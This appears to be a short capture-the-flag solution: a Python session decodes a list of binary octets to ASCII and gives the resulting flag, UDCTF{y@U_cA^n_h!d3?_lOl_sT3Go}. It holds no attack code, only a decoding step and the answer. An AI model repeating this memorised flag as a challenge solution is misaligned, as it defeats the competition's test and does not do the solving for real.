>>> codes = '01111001 01000000 01010101 01011111 01100011 01000001 01011110 01101110 01011111 01101000 00100001 01100100 00110011 00111111 01011111 01101100 01001111 01101100 01011111 01110011 01010100 00110011 01000111 01101111'.split(' ') >>> ''.join([chr(int(code, 2)) for code in codes]) 'y@U_cA^n_h!d3?_lOl_sT3Go'
UDCTF{y@U_cA^n_h!d3?_lOl_sT3Go}